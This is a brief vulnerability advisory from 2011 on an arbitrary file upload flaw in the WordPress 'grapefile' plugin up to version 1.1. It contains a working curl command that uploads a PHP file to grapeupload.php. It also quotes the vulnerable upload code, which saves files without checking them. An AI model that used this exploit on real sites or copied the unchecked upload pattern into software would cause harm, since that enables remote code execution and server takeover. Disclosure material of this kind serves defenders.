Wordpress grapefile plugin <= 1.1 - Arbitrary File Upload

Title: Wordpress grapefile plugin &#60;= 1.1 Arbitrary file upload Date: 30-8-2011 Author: Hrvoje Spoljar [ hrvoje.spoljar(at)gmail.com ] Version: 1.1 Software link:http://wordpress.org/extend/plugins/grapefile/ PoC: curl -F &#34;userfile=@mycode.php&#34; http://domain.tld/wp-content/plugins/grapefile/grapeupload.php File(s): grapeupload.php grapeupload2.php grapeupload3.php grapeupload4.php Vulnerable code: $uploaddir = $_SERVER[&#34;DOCUMENT_ROOT&#34;].&#39;/wp-content/plugins/grapefile/filestore/avi/&#39;; $uploadfile = $uploaddir . basename($_FILES[&#39;userfile&#39;][&#39;name&#39;]); if (move_uploaded_file($_FILES[&#39;userfile&#39;][&#39;tmp_name&#39;], $uploadfile)) { echo &#34;success&#34;;